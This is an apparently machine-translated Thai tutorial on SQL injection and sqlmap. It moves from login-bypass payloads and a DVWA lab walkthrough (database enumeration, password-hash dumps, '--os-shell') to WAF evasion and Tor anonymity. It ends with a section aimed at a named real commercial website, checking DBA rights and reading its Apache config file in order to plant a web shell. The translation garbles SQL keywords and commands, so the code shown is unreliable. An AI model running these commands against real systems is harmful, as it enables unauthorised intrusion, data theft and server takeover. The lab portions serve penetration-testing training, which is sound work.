เติมเปลือก. คำแนะนำในการใช้ sqlmap

การแทรก SQL คือการโจมตีที่ใช้ประโยชน์จากคำสั่ง SQL แบบไดนามิกโดยการแสดงความคิดเห็นบางส่วนของคำสั่งหรือเพิ่มเงื่อนไขที่จะเป็นจริงเสมอ โดยกำหนดเป้าหมายช่องโหว่ในสถาปัตยกรรมเว็บแอปพลิเคชันและใช้คำสั่ง SQL เพื่อรันโค้ด SQL ที่เป็นอันตราย:

ในบทความนี้ เราจะดูเทคนิคที่ใช้ในการแทรก SQL และวิธีป้องกันเว็บแอปพลิเคชันจากการโจมตีดังกล่าว

การฉีด SQL ทำงานอย่างไร

ประเภทของการโจมตีที่สามารถทำได้โดยใช้การแทรก SQL จะแตกต่างกันไปตามประเภทของกลไกฐานข้อมูลที่ได้รับผลกระทบ การโจมตีมีเป้าหมายที่คำสั่ง SQL แบบไดนามิก คำสั่งไดนามิกคือคำสั่งที่สร้างขึ้น ณ รันไทม์ตามพารามิเตอร์จากเว็บฟอร์มหรือสตริงการสืบค้น URI

พิจารณาเว็บแอปพลิเคชันธรรมดาที่มีแบบฟอร์มเข้าสู่ระบบ รหัสแบบฟอร์ม HTML อยู่ด้านล่าง:

  • แบบฟอร์มยอมรับที่อยู่อีเมล จากนั้นรหัสผ่านจะถูกส่งไปยังไฟล์ PHP ชื่อ index.php;
  • เซสชั่นจะถูกเก็บไว้ในคุกกี้ คุณลักษณะนี้เปิดใช้งานโดยการตรวจสอบแฟล็ก Remember_me วิธีการโพสต์ใช้ในการส่งข้อมูล ซึ่งหมายความว่าค่าจะไม่แสดงใน URL

สมมติว่าคำขอตรวจสอบ ID ผู้ใช้บนฝั่งเซิร์ฟเวอร์มีลักษณะดังนี้:

  • คำขอใช้ค่าของอาร์เรย์ $_POST โดยตรงโดยไม่ต้องฆ่าเชื้อ
  • รหัสผ่านถูกเข้ารหัสโดยใช้อัลกอริทึม MD5

เราจะดูการโจมตีโดยใช้การฉีด SQL sqlfiddle เปิด URL http://sqlfiddle.com/ ในเบราว์เซอร์ของคุณ หน้าต่างต่อไปนี้จะปรากฏขึ้นบนหน้าจอ

หมายเหตุ: คุณจะต้องเขียนคำสั่ง SQL:

ขั้นตอนที่ 1: ป้อนรหัสนี้ในแผงด้านซ้าย:

สร้างตาราง `ผู้ใช้` (`id` INT ไม่เป็นโมฆะ AUTO_INCREMENT, `อีเมล` VARCHAR(45) NULL, `รหัสผ่าน` VARCHAR(45) NULL, คีย์หลัก (`id`)); แทรกลงในค่าผู้ใช้ (อีเมล, รหัสผ่าน) (" [ป้องกันอีเมล],md5("abc"));

ขั้นตอนที่ 2: คลิกปุ่ม สร้างสคีมา».
ขั้นตอนที่ 3: ป้อนรหัสด้านล่างในบานหน้าต่างด้านขวา:

เลือก * จากผู้ใช้;

ขั้นตอนที่ 4: คลิก " เรียกใช้ SQL- คุณจะเห็นผลลัพธ์ต่อไปนี้:

สมมติว่าผู้ใช้ระบุที่อยู่อีเมล [ป้องกันอีเมล]และ 1234 เป็นรหัสผ่าน แบบสอบถามที่จำเป็นต้องดำเนินการบนฐานข้อมูลอาจมีลักษณะดังนี้:

ตัวอย่างโค้ดการแทรก SQL ข้างต้นสามารถข้ามได้โดยการใส่เครื่องหมายความคิดเห็นในส่วนหนึ่งของรหัสผ่านและเพิ่มเงื่อนไขที่จะเป็นจริงเสมอ สมมติว่าผู้โจมตีแทรกข้อมูลต่อไปนี้ลงในช่องที่อยู่อีเมล:

[ป้องกันอีเมล]" หรือ 1 = 1 จำกัด 1 -- " ]

และ xxx ในช่องรหัสผ่าน

คำสั่งไดนามิกที่สร้างขึ้นจะมีลักษณะดังนี้:

  • [ป้องกันอีเมล]ลงท้ายด้วยเครื่องหมายคำพูดเดี่ยวซึ่งสิ้นสุดสตริง
  • OR 1 = 1 LIMIT 1 เป็นเงื่อนไขที่จะเป็นจริงเสมอ และจำกัดผลลัพธ์ที่ส่งกลับเพียงระเบียนเดียว

0; ' AND ... เป็นความคิดเห็น SQL ที่ไม่รวมส่วนของรหัสผ่าน

คัดลอกแบบสอบถามด้านบนและวางลงในกล่องข้อความ FiddleRun SQL ดังที่แสดงด้านล่าง:

กิจกรรมของแฮ็กเกอร์: การฉีด SQL เข้าสู่เว็บแอปพลิเคชัน

เรามีเว็บแอปพลิเคชันแบบเรียบง่ายที่ http://www.techpanda.org/ ซึ่งสร้างช่องโหว่ให้กับการโจมตีแบบแทรก SQL สำหรับผู้เริ่มต้นโดยเฉพาะเพื่อวัตถุประสงค์ในการสาธิต รหัสแบบฟอร์ม HTML ที่ให้ไว้ข้างต้นนำมาจากหน้าการอนุญาตของแอปพลิเคชันนี้

มีการรักษาความปลอดภัยขั้นพื้นฐาน เช่น การฆ่าเชื้อฟิลด์อีเมล ซึ่งหมายความว่าไม่สามารถใช้โค้ดข้างต้นเพื่อข้ามกลไกนี้ได้

หากต้องการหลีกเลี่ยงสิ่งนี้ คุณสามารถใช้ช่องรหัสผ่านได้ แผนภาพด้านล่างแสดงขั้นตอนที่คุณต้องปฏิบัติตาม:

สมมติว่าผู้โจมตีให้ข้อมูลต่อไปนี้:

ขั้นตอนที่ 1: เข้า [ป้องกันอีเมล]เป็นที่อยู่อีเมล
ขั้นตอนที่ 2: ป้อน xxx’) หรือ 1 = 1 - ] ;

คลิกปุ่ม "ส่ง"

มันจะถูกส่งไปยังแผงการบริหาร แบบสอบถามที่สร้างขึ้นจะมีลักษณะดังนี้:

แผนภาพด้านล่างแสดงวิธีการสร้างคำขอ:

ที่นี่:

  • คำขอถือว่าใช้การเข้ารหัส md5
  • ใช้เครื่องหมายคำพูดและวงเล็บปิดเดี่ยว
  • มีการเพิ่มเงื่อนไขให้กับตัวดำเนินการที่จะเป็นจริงเสมอ

โดยทั่วไปแล้ว ผู้โจมตีจะพยายามใช้วิธีการต่างๆ หลายวิธีในการโจมตีแบบแทรก SQL เพื่อให้บรรลุเป้าหมาย

การโจมตีแบบฉีด SQL ประเภทอื่นๆ

การฉีด SQL อาจทำให้เกิดความเสียหายได้มากกว่าการเข้าสู่ระบบโดยการข้ามกลไกการอนุญาต การโจมตีเหล่านี้บางส่วนอาจ:

  • ดำเนินการลบข้อมูล
  • ดำเนินการอัปเดตข้อมูล
  • เพิ่มข้อมูล
  • ดำเนินการคำสั่งบนเซิร์ฟเวอร์ที่จะดาวน์โหลดและติดตั้งโปรแกรมที่เป็นอันตราย
  • ส่งออกข้อมูลอันมีค่า เช่น รายละเอียดบัตรเครดิต อีเมล และรหัสผ่านไปยังเซิร์ฟเวอร์ระยะไกลของผู้โจมตี

รายการข้างต้นไม่สมบูรณ์ มันเพียงแค่ให้แนวคิดเกี่ยวกับอันตรายจากการฉีด SQL

เครื่องมือสำหรับการฉีด SQL อัตโนมัติ

ในตัวอย่างข้างต้น เราใช้วิธีการโจมตีด้วยตนเอง ก่อนที่คุณจะดำเนินการฉีด SQL คุณต้องเข้าใจว่ามีเครื่องมืออัตโนมัติที่ช่วยให้คุณสามารถโจมตีได้อย่างมีประสิทธิภาพและรวดเร็วยิ่งขึ้น:

  • SQLSmack ;
  • SQLPing 2 ;
  • SQLMap.

วิธีป้องกันการแทรก SQL

ต่อไปนี้เป็นกฎง่ายๆ บางประการในการป้องกันการโจมตีแบบแทรก SQL:

ข้อมูลของผู้ใช้ไม่ควรเชื่อถือ- จำเป็นต้องได้รับการฆ่าเชื้อเสมอก่อนที่จะใช้ข้อมูลในการดำเนินการ SQL แบบไดนามิก

ขั้นตอนการจัดเก็บ- พวกเขาสามารถสรุปแบบสอบถาม SQL และประมวลผลข้อมูลอินพุตทั้งหมดเป็นพารามิเตอร์

แบบสอบถามที่เตรียมไว้- การสืบค้นจะถูกสร้างขึ้นก่อน จากนั้นข้อมูลผู้ใช้ที่ให้มาทั้งหมดจะถูกประมวลผลเป็นพารามิเตอร์ ซึ่งไม่มีผลกระทบต่อไวยากรณ์คำสั่ง SQL

นิพจน์ทั่วไป- สามารถใช้เพื่อตรวจจับโค้ดที่อาจเป็นอันตรายและลบออกก่อนที่จะรันคำสั่ง SQL

สิทธิ์การเข้าถึงเพื่อเชื่อมต่อกับฐานข้อมูล- ถึง ป้องกันการฉีด SQLบัญชีที่ใช้เชื่อมต่อกับฐานข้อมูลควรได้รับสิทธิ์การเข้าถึงที่จำเป็นเท่านั้น ซึ่งจะช่วยจำกัดการดำเนินการที่คำสั่ง SQL สามารถทำได้บนเซิร์ฟเวอร์

ข้อความแสดงข้อผิดพลาด- ต้องไม่เปิดเผยข้อมูลที่เป็นความลับ ข้อความแสดงข้อผิดพลาดที่กำหนดเองอย่างง่าย เช่น " ขออภัย มีข้อผิดพลาดทางเทคนิค ทีมสนับสนุนได้รับแจ้งเกี่ยวกับเรื่องนี้แล้ว โปรดลองอีกครั้งในภายหลัง" สามารถใช้แทนการแสดงคำสั่ง SQL ที่ทำให้เกิดข้อผิดพลาดได้

SQL Injection เป็นการโจมตีประเภทหนึ่งที่ผู้โจมตีแก้ไขตรรกะการสืบค้น SQL ของเว็บแอปพลิเคชัน ทำให้เขาสามารถอ่าน/แก้ไข/ลบค่าในฐานข้อมูล และบางครั้งก็รันโค้ดที่กำหนดเองบนฝั่งเซิร์ฟเวอร์ บทความนี้จะกล่าวถึงยูทิลิตี้ sqlmap ยอดนิยมสำหรับการดำเนินการฉีด SQL

ในขณะนี้ ช่องโหว่ประเภทนี้ถือเป็นช่องโหว่ที่อันตรายที่สุดเท่าที่จะเป็นไปได้ เป็นเวลา 7 ปีแล้วที่กลุ่มผลิตภัณฑ์ชั้นนำของ "OWASP TOP-10" นำโดยการฉีด SQL

มี 5 สาเหตุหลักสำหรับช่องโหว่นี้:

  1. ไม่เพียงพอหรือขาดการตรวจสอบความถูกต้องของพารามิเตอร์อินพุต โดยเฉพาะอินพุตของผู้ใช้ “พารามิเตอร์อินพุตใด ๆ เป็นสิ่งชั่วร้าย”
  2. การเข้าถึงฐานข้อมูลที่ไม่สมเหตุสมผลและได้รับการป้องกันอย่างอ่อนแอ หมวดหมู่นี้ประกอบด้วยปัจจัยต่างๆ เช่น ผู้ดูแลระบบและผู้ใช้ระดับสูง (รูท) จำนวนมาก ระบบการตรวจสอบสิทธิ์ที่อ่อนแอ สิทธิ์จำนวนมากสำหรับผู้ดูแลระบบรอง เป็นต้น
  3. สถาปัตยกรรม. การใช้เทคโนโลยีที่ล้าสมัย ขาดมาตรการควบคุม ละเลยวิธีการ "สร้างแบบจำลองภัยคุกคาม"
  4. พันธุกรรมของโค้ดที่มีช่องโหว่อย่างเห็นได้ชัด การใช้โซลูชันสำเร็จรูปที่มีระดับความปลอดภัยต่ำ
  5. ขาดระดับที่เหมาะสมของนามธรรมของรหัสปฏิบัติการจากข้อมูล

SQLMap.

ประเภทของการฉีด SQL

มาดูประเภทของการฉีด SQL ที่ถูกใช้ประโยชน์จากยูทิลิตี้ SQLMap:

  1. การฉีด SQL แบบ Blind ที่ใช้บูลีน
    • วิธีการร้องขอ HTTP และการตอบกลับจะอ่านทีละตัวอักษรเพื่อตรวจหาช่องโหว่
    • เมื่อตรวจพบพารามิเตอร์ที่มีช่องโหว่ SQLMap จะแทนที่หรือเพิ่มคำสั่ง SQL ที่ถูกต้องทางไวยากรณ์ในขณะที่รอให้เซิร์ฟเวอร์ตอบสนองโดยการรันโค้ดนั้น
    • SQLMap เปรียบเทียบคำขอเดิมที่ถูกต้องกับการตอบสนองจากคำขอที่มีโค้ดอันตรายฝังอยู่
    • SQLMap ใช้อัลกอริทึมการแบ่งส่วน ( แบ่งเป็นสองส่วน อัลกอริทึม) เพื่อดึงอักขระแต่ละตัวของการตอบกลับโดยใช้คำขอ HTTP สูงสุดเจ็ดคำขอ
    • ในกรณีที่ไม่ได้ให้คำตอบเป็นข้อความล้วน SQLMap จะปรับอัลกอริทึมด้วยค่าที่มากกว่าเพื่อกำหนดคำตอบ
  2. การฉีด SQL แบบตาบอดตามเวลา
    • วิธีการตามเวลานั้นถือว่ามีการเปรียบเทียบตามเวลาร้องขอและเวลาตอบสนองโดยการแทรกคำสั่ง SQL ที่ถูกต้องตามหลักไวยากรณ์ลงในพารามิเตอร์ที่มีช่องโหว่
    • SQLMap ใช้คำสั่ง SQL ที่ทำให้ฐานข้อมูลถูกพักไว้เพื่อส่งคืนตามระยะเวลาที่กำหนด
    • การใช้อัลกอริธึมแบบแบ่งส่วนเดียวกันเพื่อส่งออกอักขระทีละอักขระ SQLMap จะเปรียบเทียบเวลาตอบสนอง HTTP กับคำขอดั้งเดิม
  3. การฉีด SQL แบบอิงข้อผิดพลาด
    • SQLMap ใช้คำสั่ง SQL ที่อาจทำให้เกิดข้อผิดพลาดเฉพาะได้
    • โปรแกรมอรรถประโยชน์นี้ค้นหาข้อผิดพลาดในการตอบสนอง HTTP ของเซิร์ฟเวอร์
    • วิธีการนี้จะใช้งานได้ก็ต่อเมื่อมีการกำหนดค่าแอปพลิเคชันเว็บให้เปิดเผยข้อความแสดงข้อผิดพลาด
  4. แบบสอบถามยูเนี่ยน
    • ป้อนคำสั่ง SQL ยูเนี่ยนเลือกทั้งหมด .
    • การแทรก SQL ตามคำสั่ง UNION ทำงานตามพฤติกรรมของแอปพลิเคชัน เช่น เมื่อแอปพลิเคชันส่งผลลัพธ์ของการสืบค้น SELECT ที่เขียนผ่านการวนซ้ำหรือบรรทัดคำสั่งเฉพาะที่อนุญาตให้เขียนเอาต์พุตไปยังเนื้อหาของเพจ
    • ในกรณีที่เอาต์พุตไม่ได้วนซ้ำผ่านลูปใดๆ สำหรับหรือสตริงคำสั่งอื่นๆ SQLMap ใช้การฉีดคิวรี UNION เพียงครั้งเดียว
  5. แบบสอบถามแบบซ้อน
    • การใช้แบบสอบถามแบบพับ SQLMap เพิ่มอัฒภาค (;) ให้กับค่าของพารามิเตอร์ที่ได้รับผลกระทบ และเพิ่มคำสั่ง SQL ที่ต้องดำเนินการ
    • เมื่อใช้เทคนิคนี้ คุณสามารถดำเนินการคำสั่ง SQL อื่นที่ไม่ใช่ SELECT ได้ สิ่งนี้มีประโยชน์สำหรับการจัดการข้อมูล การเข้าถึงแบบอ่านและเขียน และในที่สุดก็ถูกบันทึกโดยระบบปฏิบัติการ
  6. นอกวง
    • วิธีการนี้ใช้ช่องทางการสื่อสารรองหรืออื่น ๆ เพื่อแสดงผลลัพธ์ของการสอบถามที่ทำงานบนแอปพลิเคชันที่ได้รับผลกระทบ
    • ตัวอย่างเช่น การแทรกเสร็จสิ้นในเว็บแอปพลิเคชันและช่องทางรอง เช่น แบบสอบถาม DNSใช้เพื่อส่งต่อข้อมูลกลับไปยังโดเมนของผู้โจมตี

การใช้งาน SQLMap เบื้องต้น

เรียกใช้ยูทิลิตี้ (ต้องอยู่ในตัวแปรเส้นทาง ):

$sqlmap

หรือจากไดเร็กทอรียูทิลิตี้:

$หลาม sqlmap.py

กุญแจถูกใช้เพื่อเรียกเอกสาร «- ชม. / — ช่วย »:

$ sqlmap --help $ หลาม sqlmap.py –help

การดำเนินการของคีย์ SQLMap ขึ้นอยู่กับสิ่งที่ผู้โจมตีต้องการบรรลุผลอย่างแท้จริง รายการพื้นฐานของการดำเนินการ SQLMap มีลักษณะดังนี้:

  • แสดงรายการข้อมูลฐานข้อมูล เช่น ชื่อ เวอร์ชัน และรายละเอียดอื่นๆ
  • เลือกฐานข้อมูลเฉพาะเพื่อแสดงข้อมูลเกี่ยวกับตารางที่มีอยู่
  • เลือกตารางและแสดงรายการข้อมูลคอลัมน์
  • เลือกคอลัมน์และแสดงรายการแถวเพื่อดึงค่า
  • การแสวงหาผลประโยชน์ต่อไป

ฝึกฝน.

สำหรับการฝึกภาคปฏิบัติเราจะใช้ สาปแช่ง เปราะบาง เว็บ แอปพลิเคชัน (ดีวีดับบลิวเอ หรือ "แอปพลิเคชันเว็บที่มีช่องโหว่")

ดีวีดับบลิวเอ เป็นเว็บแอปพลิเคชันฟรีที่สร้างจากเทคโนโลยี เช่น PHP และ MySQL ซึ่งออกแบบมาเพื่อฝึกทักษะการทดสอบแบบเจาะลึก

ตอนนี้เราสนใจแค่การฉีดยาเท่านั้น แต่โดยทั่วไป คุณสามารถทดสอบความสามารถของคุณในช่องโหว่อื่น ๆ ที่สร้างขึ้นตามทางการ OWASP สูงสุด -10 .

ป.ล.: แนวทางปฏิบัตินี้ถือว่าคุณมีความรู้เกี่ยวกับพื้นฐานของ Linux ภาษาอังกฤษระดับเริ่มต้น และความสามารถในการใช้ Google (หากคุณไม่มีทักษะข้างต้น)

การติดตั้ง:

  • ดาวน์โหลดใบสมัครและปฏิบัติตามคำแนะนำ
  • เปลี่ยนระดับความยากเป็นต่ำ
  • เราสนใจเฉพาะแท็บ "การแทรก SQL" เท่านั้น

ข้อมูลเริ่มต้น:

  • เว็บเซิร์ฟเวอร์บนเครือข่ายส่วนตัว
  • URL ที่มีช่องโหว่: http:// ของคุณ เจ้าภาพ . ดอทคอม /dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#
  • พารามิเตอร์ที่มีช่องโหว่: รหัส

มาเริ่มกันเลย:

  1. เรายืนยันความพร้อมSQL การฉีด:
./sqlmap.py --url=”http://192.168.152.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#” --cookie="security=low; PHPSESSID=e8495b455c5ef26c415ab480425135ee"

คำอธิบายของคำสั่ง:

— url – URL ที่มีพารามิเตอร์ที่มีช่องโหว่ สิ่งสำคัญคือต้องทราบว่าตัวแปรสำหรับคีย์นี้เขียนด้วยเครื่องหมายคำพูด เนื่องจาก URL ที่กำลังตรวจสอบมีพารามิเตอร์ที่ส่งผ่านมากกว่าหนึ่งรายการ มิฉะนั้น คุณสามารถเพิกเฉยต่อเครื่องหมายคำพูดและใช้คีย์เวอร์ชันสั้นได้ “- คุณ โดยไม่มีเครื่องหมายเท่ากัน .

- คุกกี้ – คุกกี้เซสชันสำหรับการเข้าถึงโดยตรงระหว่างการโจมตี (คีย์เสริม)

บทสรุป:

การวิเคราะห์:

  • แอปพลิเคชันมีความเสี่ยงต่อการฉีด SQL
  • ประเภทการฉีด - แบบสอบถาม UNION
  • ฐานข้อมูลส่วนหลัง (DBMS) – MySQL5
  • รายละเอียดทางเทคนิคของระบบปฏิบัติการ - Linux Ubuntu 8.04, PHP 5.2.4, Apache 2.2.8
  1. เราแสดงรายการชื่อของฐานข้อมูล:
./sqlmap.py --url="http://192.168.152.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=e8495b455c5ef26c415ab480425135ee" –dbs

คำอธิบายของคำสั่ง:

—dbs – คีย์สำหรับแสดงรายการฐานข้อมูลที่มีอยู่

บทสรุป:

การวิเคราะห์: SQLMap แสดงรายการฐานข้อมูลที่มีอยู่ (ทั้งหมด 7 รายการ)

  1. เราแสดงรายการชื่อของตาราง (DB -ดีวา ):
./sqlmap.py --url="http://192.168.152.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=e8495b455c5ef26c415ab480425135ee" -D dvwa –ตาราง

คำอธิบายของคำสั่ง:

-D – ระบุฐานข้อมูลที่เราสนใจ

--tables – แสดงรายการตารางที่มีอยู่ในฐานข้อมูล

บทสรุป:

การวิเคราะห์:ดังที่เราเห็น SQLMap แสดงรายการชื่อของ 2 ตารางในฐานข้อมูลได้สำเร็จ ดีวา .

  1. รายการชื่อคอลัมน์ตารางเพิ่มเติม “ผู้ใช้ ”:
./sqlmap.py --url="http://192.168.152.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=e8495b455c5ef26c415ab480425135ee" -D dvwa -T ผู้ใช้ – คอลัมน์

คำอธิบายของคำสั่ง:

-T – ระบุตารางที่เราสนใจ

—คอลัมน์ – แสดงรายการคอลัมน์ที่มีอยู่ในตาราง

บทสรุป:

การวิเคราะห์:ดังที่เราเห็น SQLMap แสดงรายการชื่อของ 6 คอลัมน์ในตารางได้สำเร็จ ผู้ใช้, bd ดีวา .

  1. เราแสดงรายการ/ดึงค่าจากตาราง “ผู้ใช้ ”:
./sqlmap.py --url="http://192.168.152.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=e8495b455c5ef26c415ab480425135ee" -D dvwa -T ผู้ใช้ -C user_id ผู้ใช้ รหัสผ่าน --dump

คำอธิบายของคำสั่ง:

C – ระบุคอลัมน์ที่เราสนใจ

--dump – ดัมพ์ค่าจากคอลัมน์ที่อยู่ในรายการ

บทสรุป:

การวิเคราะห์:จากการตอบสนองของ SQLMap เราสังเกตประเด็นต่อไปนี้:

  • SQLMap ดึงข้อมูลบันทึกจากคอลัมน์ที่ระบุ จากนั้นวิเคราะห์ข้อมูลที่อยู่ในคอลัมน์เหล่านั้น
  • เมื่อข้อมูลได้รับการยอมรับว่าเป็นรหัสผ่านแฮชที่เป็นไปได้ SQLMap จะพยายามถอดรหัสแฮชโดยใช้อัลกอริธึมการแฮชต่างๆ
  • ในกรณีนี้ แฮชคือ MD5 ดังนั้นด้วยเทคนิคแฮชแรกที่เครื่องมือใช้ จึงสามารถถอดรหัสแฮชได้สำเร็จและสร้างการตอบสนองที่มีรูปแบบที่ดี
  • นอกจากนี้ เครื่องมือยังบันทึกรายการที่อยู่ในรูปแบบไฟล์ “.csv” เพื่อใช้ในอนาคต ดังนั้นคุณไม่จำเป็นต้องถ่ายโอนข้อมูลลงในไฟล์ข้อความหรือถ่ายภาพหน้าจอ SQLMap จะจัดการเรื่องนั้นเอง
  1. การใช้ประโยชน์และการครอบครองเซิร์ฟเวอร์เพิ่มเติม (งูเห่า. ไม่รวมอยู่ด้วยดีวีดับบลิวเอ ):
./sqlmap.py --url="http://192.168.152.129/login.asp" --data="txtLoginID=shrikant&txtPassword=password&cmdSubmit=Login" --os-shell

คำอธิบายของคำสั่ง:

—data – ระบุพารามิเตอร์สำหรับการทดสอบที่ส่งไปในคำขอ POST

—os —shell – ปุ่มพิเศษสำหรับการพยายามใช้ประโยชน์จากคอนโซลเซิร์ฟเวอร์ผ่านการแทรก SQL

บทสรุป:

การวิเคราะห์:จากการตอบสนองของ SQLMap เราสังเกตประเด็นต่อไปนี้:

  • หลังจากยืนยันและใช้ประโยชน์จากการฉีด SQL แล้ว SQLMap จะตรวจสอบว่าผู้ใช้เป็น DBA (ผู้ดูแลฐานข้อมูล) หรือไม่
  • เครื่องมือดังกล่าวพยายามใช้ขั้นตอนการจัดเก็บแบบขยาย - "xp_cmdshell" ซึ่งมักใช้โดย SQL Server 2000
  • "xp_cmdshell" ใช้เพื่อดำเนินการบรรทัดคำสั่งที่กำหนดเป็นคำสั่งของระบบปฏิบัติการ ในทางกลับกัน ผลลัพธ์ที่ได้จะเป็นข้อความมาตรฐาน

ประโยชน์ของการเข้าถึงระบบในระดับที่ลึกยิ่งขึ้น:

  • การเข้าถึงข้อมูลรับรองผู้ใช้หรือแฮชรหัสผ่าน
  • เชลล์แบบโต้ตอบที่จะช่วยให้คุณสามารถอัพโหลดหรือดาวน์โหลดไฟล์จากเซิร์ฟเวอร์
  • รันคำสั่งแกน (OS) เพื่อสำรวจเครือข่ายภายใน
  • ความสามารถในการดาวน์โหลดมัลแวร์
  • การแสวงหาประโยชน์เพิ่มเติมโดยใช้ Metasploit Framework
  • การสร้างและต่อเติมประตูหลัง

แนวทางปฏิบัติที่ดีที่สุดและการใช้งานขั้นสูง.

  1. SQLMap และสบู่ (เรียบง่าย วัตถุ เข้าถึง โปรโตคอล ) คำขอ:กระบวนการแยกวิเคราะห์คำขอ SOAP ค่อนข้างง่าย:
    • บันทึกคำขอ SOAP ของคุณ
    • บันทึกลงในไฟล์ข้อความพร้อมกับพารามิเตอร์ที่มีช่องโหว่ที่เป็นไปได้
    • ใช้คำสั่งด้านล่างสำหรับ SQLMap พร้อมกับตัวเลือก -p หากคุณทราบพารามิเตอร์ที่มีช่องโหว่:
$ ./sqlmap.py -r So_request.txt -p
    • SQLMap จะแยกวิเคราะห์คำขอ SOAP โดยอัตโนมัติและพยายามเจาะพารามิเตอร์ที่มีช่องโหว่
  1. SQLMap และเจสัน (จาวาสคริปต์ วัตถุ สัญกรณ์ ) คำขอ:ในสถานการณ์ที่คล้ายกันสำหรับการใช้ SQLMap สำหรับการสืบค้น SOAP การสืบค้น JSON ยังสามารถวิเคราะห์และใช้ประโยชน์ได้ สำหรับประเภทการสืบค้น JSON นั้น SQLMap จะแจ้งให้คุณใช้ประโยชน์จากช่องโหว่โดยการตรวจจับประเภทการสืบค้น JSON ใน "ไฟล์การสืบค้น" เมื่อคุณตอบว่าใช่ เครื่องมือจะวิเคราะห์คำขอและเลือกเวกเตอร์การโจมตีของตัวเอง
  2. SQLMap และพร็อกซีเซิร์ฟเวอร์:โดยทั่วไปเครือข่ายประเภทองค์กรจะได้รับการรักษาความปลอดภัยและตรวจสอบโดยใช้พร็อกซีที่มีการควบคุมสำหรับการรับส่งข้อมูลขาเข้าหรือขาออกทั้งหมด ในกรณีเช่นนี้ คุณมีตัวเลือกในการเพิ่มตัวเลือกพร็อกซีโดยตรงไปยังตัวเลือก SQLMap เพื่อสื่อสารกับ URL เป้าหมาย แม้ว่า SQLMap จะเป็นเครื่องมือบรรทัดคำสั่ง แต่จะสื่อสารผ่านโปรโตคอล HTTP ดังนั้นหากคุณตั้งค่าพร็อกซี HTTP สำหรับการเชื่อมต่ออินเทอร์เน็ตที่เกี่ยวข้อง SQLMap จะถือเป็นพื้นฐาน:
$ ./sqlmap.py --proxy=http:// :
  1. SQLMap และวัฟ (เว็บ แอปพลิเคชัน ไฟร์วอลล์ ): WAF เป็นชั้นการป้องกันเพิ่มเติมสำหรับเว็บแอปพลิเคชัน ทำให้การวิเคราะห์และการดำเนินการมีความซับซ้อนมากขึ้นโดยใช้วิธีมาตรฐานที่มีอยู่ใน SQLMap เพื่อจุดประสงค์นี้จึงมีฟังก์ชัน "tamper -script" ซึ่งช่วยให้ทำงานกับเว็บแอปพลิเคชันที่อยู่ด้านหลัง WAF ได้ง่ายขึ้นมาก
  2. SQLMap และการไม่เปิดเผยตัวตน:หากคุณต้องการซ่อนข้อมูลประจำตัวของคุณและทำให้แอปพลิเคชันเป้าหมายไม่เปิดเผยตัวตน คุณสามารถใช้พร็อกซีเซิร์ฟเวอร์ TOR (The Onion Router) ได้ ใน SQLMap คุณสามารถกำหนดค่าพร็อกซี TOR เพื่อซ่อนแหล่งที่มาของการรับส่งข้อมูลหรือคำขอที่ถูกสร้างขึ้นด้วยคีย์ต่อไปนี้:
    • ทอร์ การสลับยูทิลิตี้เป็นโหมดพร็อกซี TOR
    • ทอร์ พิมพ์ การกำหนดค่าโปรโตคอลพร็อกซี TOR ด้วยตนเอง (HTTP /SOCKS 4/4a /5)
    • ตรวจสอบ ทอร์ ตรวจสอบการทำงานของพร็อกซี TOR

เอาล่ะเข้าเรื่อง:

สปอยเลอร์: เติมเปลือก

เรามี SQL Injection บนไซต์ที่มีลักษณะดังนี้:

คุณต้องลงทะเบียนเพื่อดูลิงก์


สิ่งแรกที่เราต้องการทำคือตรวจสอบว่าเรามีสิทธิ์เขียนไฟล์บนทรัพยากรที่ถูกโจมตีหรือไม่ โดยโหลดเทอร์มินัลแล้วออกคำสั่งต่อไปนี้:

Sqlmap –u http://www.sacoor.com/site_terms.php?lang=en --แบนเนอร์ --current-db --current-user --is-dba

คลิก เข้าและการวิเคราะห์ SQL Injection ของเราก็เริ่มต้นขึ้น รายงานจะมีลักษณะดังนี้:

ดังที่คุณเห็นในรายงาน มีการเขียนเวอร์ชันของ Apache, เวอร์ชันของ MySQL และเวอร์ชันของระบบปฏิบัติการที่ติดตั้งบนเซิร์ฟเวอร์ ทั้งหมดนี้จะเป็นประโยชน์สำหรับเราในอนาคต แต่ที่สำคัญที่สุดคือคุณจะเห็นได้ว่า เรามีสิทธิเขียนไฟล์ได้ โดยแสดงในบรรทัด Current User is DBA: True

ขั้นตอนต่อไปสำหรับเราคือการหาเส้นทางเพื่อบันทึกเปลือกของเรา เราสามารถรับเส้นทางไปยังเว็บไซต์ของเราบนเซิร์ฟเวอร์ได้โดยการดาวน์โหลดไฟล์ httpd.conf- เราได้รับข้อมูลเกี่ยวกับตำแหน่งของไฟล์ httpd.conf โดยใช้ Google คุณสามารถค้นหาตามเวอร์ชันของระบบปฏิบัติการที่ติดตั้งหรือตามรายการเส้นทางที่เป็นไปได้มากที่สุด โดยทั่วไปฉันจะไม่เจาะลึกในการท่องเสิร์ชเอ็นจิ้นเพียงเมื่อคุณพบตำแหน่งที่เป็นไปได้มากที่สุดของเส้นทางไปยังไฟล์แล้วก็ถึงเวลาดาวน์โหลดไฟล์เดียวกันนี้ลงในดิสก์ของคุณโดยทำสิ่งนี้โดยป้อนข้อมูลต่อไปนี้ คำสั่งและขอให้อ่านไฟล์บนเซิร์ฟเวอร์:

Sqlmap –u http://www.sacoor.com/site_terms.php?lang=en --file-read=/etc/httpd/conf/httpd.conf

โปรดทราบทันทีว่าการค้นหาไฟล์กำหนดค่านี้เป็นไปไม่ได้เสมอไปในครั้งแรก ดังนั้นคุณจึงใช้เส้นทางที่เป็นไปได้มากที่สุดว่าไฟล์นี้อาจอยู่ที่ใด:

รายการเส้นทางที่เป็นไปได้ไปยังไฟล์กำหนดค่า:

